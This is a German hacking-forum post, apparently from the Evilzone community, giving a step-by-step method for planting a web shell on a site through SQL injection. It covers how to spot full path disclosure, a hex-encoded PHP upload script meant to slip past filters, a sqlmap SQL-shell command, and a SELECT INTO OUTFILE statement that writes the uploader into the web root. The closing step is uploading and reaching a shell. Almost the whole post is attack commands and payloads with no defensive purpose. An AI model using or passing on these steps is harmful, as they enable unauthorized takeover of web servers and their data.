Hi, da ich letztens danach gefragt habe und mit der Aufforderung des eigenständigen Recherchierens konfrontiert wurde habe ich dies außergewöhnlicherweise getan und werde euch zwei Wege präsentieren wie Ihr eine Shell über eine SQLi uploaden könnt.
Der erste Weg, den ich euch hier präsentiere läuft recht simpel mit Sqlmap
Was brauchst Du?
1. SQLi mit Full Path Disclosure
2. Upload Script
3. PHP Shell
4. Sqlmap
1. Deine SQLi kannst du ganz einfach auf Full Path Disclosure testen, indem du beispielsweise ein Hochkomma an die gültige SeitenID hängst:
http://www.example.com/index.php?id=1'
Wenn du jetzt auf der Seite folgende Meldung siehst, hast du Full Path Disclosure:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/relax/public_html/index.php on line 59
Interessant ist für uns nur der Pfad:
/home/relax/public_html/
2. Um möglich Filter zu umgehen sollte das Uploadscript in HEX-Konvertiert werden:
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
3. Nun starten wir Sqlmap mit folgenden Parametern:
python sqlmap.py --url=/index.php?id=1 --sql-shell
4. Nach ein paar Sekunden solltest du eine SQLshell haben:
[15:35:06] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 5.3.5, Apache 2.2.17 back-end DBMS: MySQL 5 [15:35:06] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql-shell>
5. Jetzt kommt der entscheidende Part! Mit folgendem Befehl versuchst du deine Daten auf dem Server zu platzieren:
SELECT 0xHex_Code INTO OUTFILE "Pfad_vom_Anfang+filename.php";
Vergiss nicht das 0x vor deinem Hex-Code.
Beispiel:
select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e into outfile "/home/relax/public_html/upload.php";
Bekommst du eine Bestätigung kannst du dein Uploadscript auf dem Server ansteuern: http://www.example.com/upload.php
6. Zuletzt musst du nur noch deine Shell hochladen und ansteuern.
Viel Spaß!
Credits an relax von Evilzone